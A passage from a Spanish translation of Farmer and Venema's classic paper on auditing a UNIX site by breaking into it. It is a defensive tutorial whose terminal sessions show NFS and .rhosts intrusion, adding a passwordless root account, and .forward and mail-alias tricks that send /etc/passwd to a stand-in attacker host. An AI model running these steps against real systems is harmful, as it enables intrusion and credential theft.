Copy Link
Add to Bookmark
Report
5x15a Mejorando la Seguridad de su sitio Irrumpiendo en el
((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
))))))))))))))S)i)e)n)t)e))l)o))p)r)o)h)i)b)i)d)o)))))))))))))))))))
((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
http://kshezine.org
_Mejorando la Seguridad de su sitio Irrumpiendo en el_
Dan Farmer Wietse Venema
Sun Microsystems Eindhoven University of Technology
2550 garcia ave MS PAL1-407 P.O. Box 513, 5600 MB
Mountain View CA 94043 Eindhoven, NL
zen@sun.com wietse@wzv.win.tue.nl
Traducido por:
Kralj Killer
kralj@kshezine.org
http://www.kshezine.org
-> kSh Security Team <-
Notas del Traductor: Aunque he dedicado un buen tiempo en la traduccion de este
documento, es posible que el mismo contenga errores gramaticos, ademas algunas
oraciones se han tenido que traducir literalmente perdiendo un poco el
concepto. Asi que espero no causarles ningun problema, y seran recibidos sus
comentarios en caso de algun error.
Introduccion
-------------
Todos los dias, por todo el mundo, redes de computadoras y servidores estan
siendo irrumpidos. El nivel de sofisticacion de estos ataques varia
ampliamente; mientras generalmente se cree que la mayoria de los ataques
tienen exito debido a las contraseñas debiles, hay todavia un numero
grande de intrusiones que usan las tecnicas mas avanzadas para forzar la
entrada. Menos se sabe sobre los ultimos tipos de ataques, porque por su misma
naturaleza ellos son mas dificiles de detectar.
-----
CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. Usted
los nombra, nosotros los hemos visto irrumpidos. Cualquier cosa que este en el
Internet (y muchos que no esten), parece ser un juego bastante facil. Son
estos blancos inusuales? Que sucedio?
Aterroricese...
Un muchacho joven, con el pelo rubio grasiento, sentado en un cuarto oscuro.
El cuarto solo se ilumina por la luminescencia de los 40 caracteres en
pantalla de su C64. Tomando otro largo cigarrillo de Benson y arrastrandolo
cerca, el cracker cansado telnea a la proxima victima ".mil" es el sitio en su
lista de golpes. "guest -- guest", "root -- root", y "system -- manager"
todos fallan. No importa. El tiene toda la noche... escribe con lapiz y pone
fuera de su lista el servidor, y cansado digita su proxima victima potencial.
Esa parece ser la imagen popular de un cracker. Joven, inexperto, y teniendo
inmensas cantidades de tiempo para gastar, en entrar en un sistema mas. Sin
embargo, hay tipos mas peligrosos de crackers ahi a fuera, unos que saben
los pormenores de las ultimas herramientas de analisis de seguridad y
cracking, que pueden modificarlas para ataques especificos y quienes pueden
escribir sus propios programas. Unos que no solo leen sobre los ultimos
agujeros de seguridad, sino que tambien personalmente descubren fallos y
vulnerabilidades. Una criatura mortal que pueden golpear juntos venenosamente
y pueden esconder sus huellas sin un murmureo o un rastro indirecto. El
ubercracker esta aqui.
-----
Por que el "ubercracker"? La idea se roba, obviamente, del uebermensch de
Nietzsche, o, literalmente traducido del ingles, "encima del hombre".
Nietzsche utilizo al termino no para referirce al libro de comic's superman,
sino que por el contrario a un hombre que habia ido mas alla de la
incompetencia, mezquindad, y debilidad del hombre cotidiano. El ubercracker es
por lo tanto el cracker que ha ido mas alla de metodos simples del libro de
cocina para irrumpir en los sistemas. Un ubercracker normalmente no se motiva
para realizar actos aleatorios de violencia. Los blancos no son
arbitrarios, hay un proposito, sea aumento monetario personal, un golpe e
incursion del funcionamiento de la informacion, o un desafio de pulso a un
sitio o un net. personal importante o prestigioso. Un ubercracker es dificil
de detectar, mas duro de detener, y mas dificil es guardar a fuera un sitio
sin problemas.
Descripcion
-----------
En este papel tomaremos un acercamiento inusual a la seguridad del sistema.
En lugar de simplemente decir que algo es un problema, miraremos a traves de
los ojos de un intruso potencial, y mostramos _porque_ es uno. Ilustraremos
que incluso los servicios de red aparentemente inofensivos pueden convertirse
en herramientas valiosas en la busqueda de debilidades de un sistema, incluso
cuando estos servicios estan funcionando exactamente como se cree.
En un esfuerzo de verter una cierta luz en como ocurren intrusiones mas
avanzadas, este papel perfila varios mecanismos que los crackers han usado
para obtener el acceso a los sistemas realmente y, ademas, algunas tecnicas de
nosotros o algunas que sospechamos que el intruso usara, o que hemos utilizado
nosotros en pruebas o en ambientes de amistades/autorizados.
Nuestra motivacion para escribir este papel es que los administradores de
sistemas son a menudo inconscientes de los peligros presentados por algo mas
alla de los ataques mas triviales. Mientras se conoce ampliamente que el nivel
apropiado de proteccion depende de lo que tiene que ser protegido, muchos
sitios parecen faltar de recursos para evaluar que nivel de seguridad del
ordenador principal y de la red es el adecuado. Mostrando lo que pueden hacer
los intrusos para ganar el acceso a un sitio remoto, nosotros estamos
intentando ayudar a los administradores de sistemas a tomar decisiones
informadas en como asegurar su sitio o no. Limitaremos la discusion a tecnicas
que pueden dar acceso a un intruso remoto (posiblemente no interactivo) a una
shell en un servidor UNIX. Una vez que se alcance esto, los detalles de
como obtener privilegios de root estan mas alla del alcance de este trabajo --
lo consideramos demasiado _dependiente_ y, en muchos casos, demasiado trivial
para merecer mucha discusion.
Queremos enfatizar que nosotros no ejecutamos simplemente una lista de fallos
de funcionamiento o de agujeros de seguridad -- habran siempre nuevos para que
un atacante potencial explote. El proposito de este papel es intentar
conseguir que el lector mire su sistema de una nueva manera -- una que se les
permita la oportunidad a el o ella de entender esperanzadamente como su
sistema puede comprometerce.
Nos gustaria tambien reiterar al lector que el proposito de este papel es
mostrarle como probar la seguridad de su propio sitio, no como irrumpir en los
sistemas de otras personas. Las tecnicas de intrusion que nosotros
ilustraremos aqui dejaran a menudo los rastros en su sistema de audicion
de logs -- podria ser constructivo examinarlos despues de probar algunos de
estos ataques, ver lo que un ataque real podria ser. Ciertamente otros sitios
y administradores de sistemas tomaran una vista muy oscura de sus actividades
si usted decide usar sus servidores para probar su seguridad sin la
autorizacion de antemano; de hecho, es bastante posible que la accion legal
pueda seguirse contra usted si ellos lo perciben como un ataque.
Hay cuatro partes principales del documento. La primera parte es la
introduccion y la descripcion. La segunda parte intenta darle una percepcion
al lector de como es un intruso y como va de no saber nada sobre un sistema a
comprometer su seguridad. Esta seccion reviza tecnicas reales de como obtener
informacion y entrada y cubre estrategias basicas tales como aprovecharse de
la confianza y abusar de los servicios de red basicos, incorrectamente
configurados (ftp, mail, tftp, etc.) Tambien discute asuntos levemente mas
avanzados, tales como NIS y NFS, asi como varios fallos de funcionamiento y
problemas comunes de configuracion que son algo mas especifico del OS o del
sistema. Las estrategias defensivas contra cada uno de los ataques varios,
tambien se cubren aqui.
La tercera seccion se trata de la confianza: como la seguridad de un sistema
depende de la integridad de otros sistemas. La confianza es el asunto mas
complejo en este papel, y por causa de la brevedad nosotros limitaremos la
discusion a los clientes que finjen.
La cuarta seccion cubre los pasos basicos que un administrador de sistemas
puede tomar para proteger su sistema. La mayoria de los metodos presentados
aqui es meramente el sentido comun, pero ellos se ignoran a menudo en la
practica -- una de nuestras metas es simplemente mostrar que tan peligroso
puede ser ignorar las practicas de seguridad basicas.
Los estudios del caso, los indicadores de informacion seguridad-relacionada, y
el software se describe en el appendice al final del papel.
Mientras que exploraban los metodos y las estrategias discutidas en este papel
nosotros escribimos SATAN (Security Analysis Tool for Auditing Networks.)
Escrito en shell, Perl, expect y C, examina un ordenador principal remoto o un
conjunto de ordenadores principales y recopila tanta informacion como sea
posible sondeandolo remotamente NIS, finger, NFS, ftp y tftp, rexd, y otros
servicios. Esta informacion incluye la presencia de varias redes de servicios
de informacion asi como defectos de seguridad potenciales -- generalmente en
la forma incorrectamente de disposicion o de servicios de red configurados,
fallos de funcionamiento bien conocidos en el sistema o utilitarios de red, o
decisiones de politica pobres o ignorantes. Entonces puede cualquiera realizar
un reporte o utilizar un sistema experto para investigar mas lejos cualquier
problema potencial de seguridad. Mientras SATAN no usa todos los metodos que
nosotros discutimos en el papel, ha tenido exito con una regularidad
presagiosa encontrando agujeros serios de seguridad de sitios de Internet.
Se anunciara y se hara disponible via FTP anonimo cuando este terminado; El
apendice A cubre sus caracteristicas salientes.
Observe que no es posible cubrir todos los metodos posibles de irrumpir en un
sistemas en un solo papel. De hecho, nosotros no cubriremos dos de los
metodos mas eficaces de irrumpir en los ordenadores: la ingenieria social y
el crackeo de password. El ultimo metodo es tan eficaz, sin embargo, que
algunas de las estrategias presentadas aqui se engrana hacia adquirir los
archivos de contraseña. Ademas, mientras en los sistemas de ventanas (X,
OpenWindows, etc.) pueden proporcionar a una tierra fertil para la
explotacion, nosotros simplemente no sabemos muchos metodos que se usen para
irrumpir en los sistemas remotos. Muchos crackers usan terminos del
non-bitmapped que pueden impedirles usar algunos de los metodos mas
interesantes para aprovecharse de los sistemas de ventanas eficazmente
(aunque pudiendo supervisar el teclado de la victima es a menudo suficiente
para capturar las contraseñas). Finalmente, mientras los gusanos, los
virus, caballos de troja, son muy interesantes, ellos no son comunes (en los
sistemas UNIX) y probablemente usaran las tecnicas similares a las que
nosotros describimos en este papel como las partes individuales a su
estrategia de ataque.
Ganando Informacion
-------------------
Asumamos que usted es el administrador del sistema principal de la red victima,
incorporadas en estaciones de trabajo UNIX. En un esfuerzo por asegurar
sus maquinas, usted le pide a un administrador amigo de un sitio proximo
(maligno.com) que le de una cuenta en una de sus maquinas de modo que usted
pueda mirar la seguridad de su propio sistema en el exterior.
Que debe usted hacer? Primero, intente recopilar la informacion sobre su
(blanco) ordenador principal. Hay una abundancia de servicios de red a mirar:
finger, showmount, y rpcinfo son buenos puntos de partida. Pero no pare alli
- usted debe tambien utilizar el DNS, el WHOIS, el sendmail (smtp), el ftp,
el UUCP, y tantos otros servicios como usted pueda encontrar. Hay tantos
metodos y tecnicas que el espacio nos imposibilita mostrar todos, pero
intentaremos mostrar una seccion representativa de las estrategias mas
comunes y/o mas peligrosas que hemos visto o hemos pensado. Idealmente, usted
recopilaria informacion sobre todos los ordenadores principales en la subred o
en el area de ataque --la informacion es poder-- pero para ahora
nosotros examinaremos solamente nuestra blanco previsto.
Para empezar, usted mira lo que el comando finger le muestra (asuma que son
las 6pm, Nov 6, 1993):
victima % finger @victima.com
[victima.com]
Login Name TTY Idle When Where
zen Dr. Fubar co 1d Wed 08:00 muerte.com
¡Bueno! Un solo usuario ocioso -- es probable que nadie notara si usted
realmente intenta forzar la entrada.
Ahora usted prueba mas tacticas. Cuando cada devoto sabe de finger, digita
"@", "0", y "", asi como nombres comunes, como root, bin, ftp, system,
guest, demo, manager, etc., pueden llegar a revelar informacion
interesante. Esa informacion depende de la version del finger que su
blanco este ejecutando, pero lo mas notable son nombres de cuentas, junto con
los directorios del home y el sevidor que este logeado de ultimo.
Para agregar a esta informacion, usted puede usar rusers (en detalle con el
indicador -l) para conseguir informacion util con los usuarios logeados.
Probando estos comandos en victima.com revela la siguiente informacion,
presentada en forma tabular comprimida para ahorrar espacio:
Login Home-dir Shell Last login, from where
----- -------- ----- ----------------------
root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victima.com
bin /bin Never logged in
nobody / Tue Jun 15 08:57 on ttyp2 from server.victima.co
daemon / Tue Mar 23 12:14 on ttyp0 from big.victima.com
sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victima.com
zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from muerte.com
sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from maligno.com
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in
Ambos de nuestros experimentos con SATAN y mirando los crackers trabajando,
nos han demostrado que el finger es uno de los servicios mas peligrosos,
porque es tan util para investigar un blanco potencial. Sin embargo,
mucha de esta informacion es util solamente cuando esta utilizada
conjuntamente con otros datos.
Por ejemplo, ejecutando showmount en el blanco nos revela:
maligno % showmount -e victima.com
export list for victima.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy
Observe que /export/foo esta exportado al mundo; tambien observe que este es
el directorio home del usuario guest. Hora para su primera intrusion! En este
caso, usted montara el directorio home del usuario "guest." Desde que usted no
tiene una cuenta correspondiente en la maquina local y desde que root no puede
modificar los archivos en un sistema de archivos NFS montado, usted crea una
cuenta "guest" en su archivo local de contraseñas. Como usuario guest usted
puede poner un .rhosts en el directorio home remoto del usuario guest, que le
permitira loguearce en la maquina sin tener que proporcionar una contraseña.
maligno # mount victima.com:/export/foo /foo
maligno # cd /foo
maligno # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
maligno # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
maligno # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest
maligno # su guest
maligno % echo maligno.com >> guest/.rhosts
maligno % rlogin victima.com
Welcome to victima.com!
victima %
Si, en lugar de los directorios home, victima.com exportan los archivos de
sistema con los comandos de usuario(diga, /usr o /usr/local/bin), usted podria
reemplazar un comando por un caballo de troja que ejecute cualquier comando de
su eleccion. El proximo usuario que ejecute esa orden ejecutaria su programa.
Nosotros sugerimos que los archivos de sistema a exportar:
- Lectura/escritura solamente a clientes especificos de confianza.
- Lectura - solamente, en lo posible (pueden exportarse a menudo datos o
programas de esta manera.)
Si el blanco tiene "+" comodín en su /etc/hosts.equiv (valor por defecto en
maquinas de varios vendedores) o tienen el fallo de funcionamiento de los
netgroups (CERT advisory 91:12), cualquier usuario no-root con un nombre de
login del blanco puede utilizar el rlogin e ingresar al blanco sin contraseña.
Y puesto que el usuario "bin" posee a menudo los ficheros y los directorios
importantes, su proximo ataque es intentar abrirse una sesion en el ordenador
principal del blanco y modificar el fichero de contraseña para tener acceso de
root.
maligno % whoami
bin
maligno % rsh victima.com csh -i
Warning: no access to tty; thus no job control in this shell...
victima % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victima % cd /etc
victima % mv passwd pw.old
victima % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victima % ^D
maligno % rlogin victima.com -l toor
Welcome to victima.com!
victima #
Algunas notas sobre el metodo usado arriba; "rsh victima.com csh -i" es usado
inicialmente sobre el sistema porque no deja ningun rastro en los archivos de
audicion del sistema, wtmp o utmp, haciendo el rsh invisible para el finger y
who. El shell remoto no se asocia a un pseudo-terminal, sin embargo, de modo
que los programas orientados a pantalla tales como paginadores y editores
fallen -- solamente es muy practico para una breve exploracion.
El COPS herramienta de audicion de seguridad (vea apendice D) informara de
archivos importantes o directorios que son escribibles en las cuentas sin ser
superusuario. Si usted ejecuta SunOS 4.x usted puede aplicar el parche 100103
para arreglar la mayoría de los problemas en los permisos de los archivos. En
muchos sistemas, el rsh se probo como mostramos arriba, incluso cuando tiene
exito, permanecera totalmente inadvertido; el tcp wrapper (apendice D), que
registra conexiones entrantes, puede ayudar a exponer tales actividades.
----
Ahora que? Usted ha destapado todos los agujeros en su sistema? No fue un
disparo largo. Regresando a los resultados del finger, usted nota que tiene
una cuenta "ftp" que normalmente tiene habilitado el ftp anonimo. El ftp
anonimo puede ser una manera facil de conseguir acceso, pues es mal
configurado a menudo. Por ejemplo, el blanco puede tener una copia completa
del fichero /etc/passwd en el directorio del ftp anonimo ~ftp/etc en vez de
ser eliminado en versiones bajas. En este ejemplo, aunque, usted ve que el
ultimo no parece ser verdad (como puede usted decir sin examinar el archivo
realmente?) Sin embargo, el directorio home del ftp en victima.com es
escribible. Esto permite que usted ejecute remotamente un comando -- en este
caso, mandando por correo el archivo de contraseña a si mismo -- por el metodo
simple de crear un archivo .forward que ejecute un comando cuando el correo se
envie a la cuenta del ftp. Este es el mismo mecanismo que conduce el correo a
un programa de "vacaciones" aplicacion que contesta automaticamente los
mensajes de correo.
maligno % cat forward_sucker_file
"|/bin/mail zen@maligno.com < /etc/passwd"
maligno % ftp victima.com
Connected to victima.com
220 victim FTP server ready.
Name (victima.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
maligno % echo test | mail ftp@victima.com
Ahora usted espera simplemente el fichero de contraseñas que se enviara de
nuevo a usted.
La herramienta de analizis de seguridad COPS verificara la configuracion se su
ftp anonimo; vea la pagina man para el ftpd, la documentacion/codigo para
COPS, o CERT advisory 93:10 para informacion sobre como instalar correctamente
FTP anonimo. Las vulnerabilidades en el ftp son a menudo una cuestion de
propiedad o de permisos incorrectos en los ficheros o directorios importantes.
Por lo menos, cerciorese de que el ~ftp y todos los directorios y ficheros del
"sistema" debajo del ~ftp sean poseidos por el root y no sean escribibles por
cualquier usuario.
Mientras mira el ftp, usted puede verificar un viejo bug que se exploto una
vez ampliamente:
% ftp -n
ftp> open victima.com
Connected to victima.com
220 victima.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (o cualquier cosa)
Si esto trabaja, usted esta ahora logueado como root, y capaz de modificar el
archivo de contraseña, o cualquier cosa que usted desee. Si su sistema exhibe
este fallo de funcionamiento, usted debe conseguir definitivamente una
actualizacion a su demonio del ftpd, a su vendedor o (via ftp anonimo) en
ftp.uu.net.
El ftpd de wuarchive, un popular reemplazo al demonio ftp publicado por la
Universidad de Washington en San Louis, tenia casi el mismo problema. Si su
wuarchive ftpd pre-fecha el 8 de abril de 1993, usted debe reemplazarlo por
una version mas reciente.
Finalmente, hay un programa vagamente similar al ftp -- el tftp, o el trivial
file transfer program. Este daemon no requiere ninguna contraseña para la
autenticacion; si un host proporciona el tftp sin restringir el acceso
(normalmente por algun flag seguro puesto en el archivo inetd.conf), un
atacante puede leer y escribir los archivos en cualquier parte del sistema. En
el ejemplo, usted consigue el archivo de contraseñas remoto y lo pone en su
directorio local /tmp:
maligno % tftp
tftp> connect victima.com
tftp> get /etc/passwd /tmp/passwd.victima
tftp> quit
Para motivos de seguridad, el tftp no debe ser ejecutado; si el tftp es
necesario, utilice una opcion/flag segura para restringir el acceso a un
directorio que no tenga ninguna informacion valiosa, o lo ejecuta bajo el
mando de un programa chroot wrapper.
----
Si ningunos de los metodos anteriores han trabajado, es hora de continuar a
medidas mas drasticas. Usted tiene un amigo en rpcinfo, otro programa muy
practico, a veces aun mas util que el finger. Muchos ordenadores principales
ejecutan los servicios del RPC que pueden ser explotados; el rpcinfo puede
hablar con el portmapper y mostrarle la manera. Puede decirle si el ordenador
principal esta ejecutando el NIS, si es un servidor o esclavo del NIS, si un
sitio de trabajo diskless esta alrededor, si esta ejecutando NFS, cualquiera
de los servicios de informacion (rusersd, rstatd, etc.), o cualquier otro
programa inusual (audicion o seguridad relacionada). Por ejemplo, regresando a
nuestro blanco de muestra:
maligno % rpcinfo -p victima.com [Salida corta por cuestiones de brevedad]
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd
En este caso, usted puede ver varios hechos significativos sobre nuestro
blanco; primero de que es que es un servidor NIS. No es quizas extensamente
conocido, pero una vez usted sabe el nombre de dominio de un servidor NIS,
usted puede conseguir cualquiera de los mapas NIS con una simple pregunta al
rpc, incluso cuando usted este fuera de la subred del servidor NIS (por
ejemplo, usando el programa YPX que puede encontrarse en el comp.sources.misc
archivados en ftp.uu.net). Ademas, muchos adivinan las contraseñas facilmente,
muchos sistemas usan nombres de dominio NIS faciles de adivinar. El Intentar
suponer el nombre de dominio del NIS es a menudo muy fructifero. Los buenos
candidatos son los nombres de host total y parcialmente calificados (por
ejemplo "victima" y "victima.com"), el nombre de la organizacion, nombres de
grupos de red en la salida del "showmount", y asi sucesivamente. Si usted
quisiera suponer que el nombre de dominio era "victima", usted podria teclear:
maligno % ypwhich -d victima victima.com
Domain victima not bound.
Esto fue un esfuerzo infructuoso; si usted hubiera acertado correctamente
habria vuelto con el nombre del host del servidor NIS de victima.com. Sin
embargo, note en la seccion NFS que victima.com esta exportando el directorio
"/var" al mundo. Todo lo que necesita es montar ese directorio y mirar en el
subdirectorio de "yp"--entre otras cosas usted vera otro subdirectorio que
contiene el nombre de dominio del blanco.
maligno # mount victima.com:/var /foo
maligno # cd /foo
maligno # /bin/ls -alg /foo/yp
total 17
1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar
[...]
En este caso, "foo_bar" es el nombre de dominio de NIS.
Ademas, los mapas de NIS contienen a menudo una lista buena de
usuarios/nombres de empleados asi como la lista interna del ordenador
principal, para no mencionar las contraseñas para crackear.
El apendice C detalla los resultados de un caso de estudio de ficheros de
contraseña del NIS.
----
Note que en la salida del rpcinfo a victima.com tambien mostro que ejecuta el
rexd. Como el daemon rsh, el rexd procesa las peticiones con el formato "por
favor ejecute este comando como este usuario." Al contrario del rshd, no
obstante, el rexd no cuida si el host cliente esta en el hosts.equiv o en los
archivos .rhost. Normalmente el programa cliente de rexd esta "sobre" el
comando, pero solo toma un programa en C corto para enviar al host cliente
informacion arbitraria del userid al servidor rexd; el rexd ejecutara
alegremente el comando. Por estas razones, corriendo el rexd es similar a no
tener ninguna contraseña en absoluto: toda la seguridad esta en el cliente, no
en el servidor donde debe ser. La seguridad de Rexd puede mejorarse un poco
usando RPC seguro.
----
Mientras que mira la salida del rpcinfo, usted observa que victima.com tambien
parece ser un servidor de trabajo diskless. Esto es evidenciado por la
presencia del servicio del bootparam, que proporciona informacion a los
clientes diskless para inicializar. Si usted pregunta muy bien, usando
BOOTPARAMPROC_WHOAMI y proporciona la direccion de un cliente, usted puede
conseguir el nombre de dominio NIS. Esto puede ser muy util cuando esta
combinada con el hecho de que usted puede conseguir correspondencias
arbitrarias del NIS (tales como el fichero de contraseñas) cuando usted sabe
el nombre de dominio NIS. Aqui hay un trozo de codigo de muestra para hacer
simplemente eso (el bootparam es parte de SATAN.)
char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */
/* initializations omitted... */
callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
printf("%s has nisdomain %s\n", server, res.domain_name);
La salida del showmount indica que "facil" es un cliente diskless de
victima.com, asi que utilizamos la direccion del cliente en el interrogante de
BOOTPARAMPROC_WHOAMI:
maligno % bootparam victima.com facil.victima.com
victima.com has nisdomain foo_bar
----
NIS domina el control de los alias de correo para el dominio NIS en cuestion.
Justo como el alias de los archivos de correo local, usted puede crear un
alias de correo que ejecute comandos cuando el correo se envie a el (un
ejemplo popular de esto es el "decode" alias que manda por correo archivos
uudecodes a el.) Por ejemplo, aqui usted crea un alias "foo" que envia el
fichero de contraseñas de nuevo a maligno.com simplemente enviando cualquier
mensaje a el:
nis-master # echo 'foo: "| mail zen@maligno.com < /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victima.com
Esperanzadamente los atacantes no tendran control del NIS maestro principal,
pero esperanzadamente aun la leccion este clara -- NIS es normalmente
inseguro, pero si un atacante tiene control del NIS principal, entonces el
tiene eficazmente el control del ordenador principal del cliente (por ejemplo
puede ejecutar comandos arbitrarios).
No hay muchas defensas eficaces contra los ataques de NIS; es un servicio
inseguro que no tiene casi ninguna autenticacion entre los clientes y
servidores. Hacer cosas peores, parece bastante claro que los mapas
arbitrarios pueden ser forzados hacia los servidores principales (por ejemplo,
es posible tratar un servidor del NIS como cliente). Esto, obviamente
derribaria el esquema entero. Si es absolutamente necesario utilizar el NIS,
elegir un nombre de dominio dificil de adivinar puede ayudar levemente, pero
si usted ejecuta los clientes diskless que se exponen a los atacantes
potenciales entonces es trivial para un atacante derrotar este paso de
progresion simplemente usando el truco del bootparam para conseguir el nombre
de dominio. Si NIS se usa para propagar los mapas de contraseña, entonces las
contraseñas shadow no dan proteccion adicional porque el mapa shadow todavia
es accesible a cualquier atacante que tenga root en un host atacante. Lo mejor
es utilizar el NIS lo menos posible, o por lo menos realizar que los mapas
puedan estar sujetos a lectura atenta por fuerzas potencialmente hostiles.
El RPC seguro es una manera larga de disminuir la amenaza, pero tiene sus
propios problemas, sobre todo en que es dificil administrar, pero tambien en
que los metodos criptograficos usados dentro, no son muy fuertes. Se ha
rumoreado que NIS+, el nuevo servicio de informacion de red de Sun, arregla
algunos de estos problemas, pero hasta ahora se ha limitado a correr en los
Suns, y asi lejos no ha mantenido la promesa del proyecto. Finalmente, usando
el paquete de filtrado (en el muy menor puerto 111) o securelib (vea el
apendice D), o, para los Suns, aplicando el parche 100482-02 que puede ayudar.
----
El portmapper solo sabe sobre los servicios de RPC. Pueden localizarse otros
servicios de red con un metodo de fuerza-bruta que conecta a todos los puertos
de la red. Muchos utilitarios de red y sistemas de ventanas escuchan en
puertos especificos (Ej. el sendmail esta en el puerto 25, telnet esta en el
puerto 23, X Windows esta generalmente en el puerto 6000, etc.) SATAN incluye
un programa que examina los puertos de un hosts remoto e informa sobre sus
resultados; si usted lo ejecuta contra nuestro blanco, usted ve:
maligno % tcpmap victima.com
Mapping 128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)
Esto sugiere que victima.com esta corriendo X Windows. Si no estan protegidos
correctamente (via mecanismos magicos de cookies o de xhost), pueden
capturarse los despliegues de ventana o pueden mirarse, las pulsaciones de
teclado del usuario pueden ser robadas, se pueden ejecutar remotamente
programas, etc. Tambien, si el blanco esta ejecutando X y acepta un telnet al
puerto 6000, eso puede usarse para un ataque de denial of service, mientras
que el sistema "blanco" de ventana quedara bloqueado por un periodo corto de
tiempo. Un metodo para determinar la vulnerabilidad de un servidor X es
conectar a el, vía la funcion XOpenDisplay(); si la función devuelve un NULL
entonces usted no puede tener acceso a la visualizacion de la victima
(opendisplay es parte de SATAN):
char *hostname;
if (XOpenDisplay(hostname) == NULL) {
printf("Cannot open display: %s\n", hostname);
} else {
printf("Can open display: %s\n", hostname);
}
maligno % opendisplay victima.com:0
Cannot open display: victima.com:0
Las terminales X, aunque mucho menos de gran alcance que un sistema UNIX
completo, pueden tener sus propios problemas de seguridad. Muchas terminales X
permiten el acceso sin restriccion al rsh, permitiendo que usted ejecute
programas clientes en la terminal X de la victima con la salida de lo que
aparece, en su propia pantalla:
maligno % xhost +xvictima.victima.com
maligno % rsh xvictima.victima.com telnet victima.com -display maligno.com
En cualquier caso, pensamos tanto en la seguridad de las window como en los
archvivos del sistema y utilidades de la red, porque puede comprometerce su
sistema tan seguramente como un "+" en su hosts.equiv o un password de
(root) en su cuenta.
----
Luego, usted examina el sendmail. Sendmail es un programa muy complejo que
tiene una historia larga de problemas de seguridad, incluso el infame comando
"wiz" (esperanzadamente despues de un largo tiempo desactivado de todas las
máquinas). Usted puede determinar a menudo el OS, a veces bajo el numero de
version, del blanco, mirando el numero de version devuelto por sendmail. Esto,
a su vez, puede darle indirectas en cuanto a que tan vulnerable puede llegar a
estar con cualquiera de los numerosos fallos de funcionamiento. Ademas, usted
puede ver si ellos ejecutan el "decode" alias que tiene su propio juego de
problemas:
maligno % telnet victima.com 25
connecting to host victima.com (128.128.128.1.), port 25
connection open
220 victima.com Sendmail Sendmail 5.55/victima ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
Ejecutan el "decode" este alias es un riesgo de seguridad -- permite que los
atacantes potenciales sobregraben cualquier fichero que sea escribible por el
propietario de ese alias -- a menudo demonio, pero potencialmente cualquier
usuario. Considere este pedazo de correo -- esto colocara "maligno.com" en el
archivo .rhosts del usuario zen si es escribible:
maligno % echo "maligno.com" | uuencode /home/zen/.rhosts | mail decode@victima.com
Si ningun directorio home es conocido o escribible, una variacion interesante
de esto es crear un archivo ficticio de /etc/aliases.pag que contiene un alias
con una orden que usted desea ejecutar en su blanco. Esto puede trabajar
puesto que en muchos sistemas los ficheros de aliases.pag y de aliases.dir,
que controlan los alias de correo del sistema, son escribibles al mundo.
maligno % cat decode
bin: "| cat /etc/passwd | mail zen@maligno.com"
maligno % newaliases -oQ/tmp -oA`pwd`/decode
maligno % uuencode decode.pag /etc/aliases.pag | mail decode@victima.com
maligno % /usr/lib/sendmail -fbin -om -oi bin@victima.com < /dev/null
Muchas cosas pueden averiguarse preguntando al sendmail simplemente si una
direccion es aceptable (vrfy), o extender una direccion (expn). Cuando los
servicios del finger o del rusers se apagan, todavia pueden usarse vrfy y expn
para identificar cuentas de usuarios o blancos. Tambien pueden usarse Vrfy y
expn para averiguar si el correo del usuario es conducido a traves de
cualquier programa que podria explotarse (Ej. vacation, los clasificadores de
correo, etc.). Puede ser una buena idea invalidar los comandos vrfy y expn: en
la mayoria de las versiones, mire el fichero fuente srvrsmtp.c, y suprima o
